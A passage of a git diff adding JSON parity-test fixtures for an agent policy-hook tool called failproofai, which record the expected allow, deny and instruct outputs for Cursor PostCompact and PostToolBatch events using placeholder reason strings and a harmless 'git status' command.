b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2a17b338 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..eb11e2d9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c09d6f49 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..57a5c773 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ae172a4d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c28a4cea --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f3bbea6f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7c7ba379 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..feb7b03a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0ddfcdcd --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..19e6baa5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..22da31e0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..317c31e5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..38ae8d4a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..16cd4fa7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c5ef499f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..55fe43eb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..15776680 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git 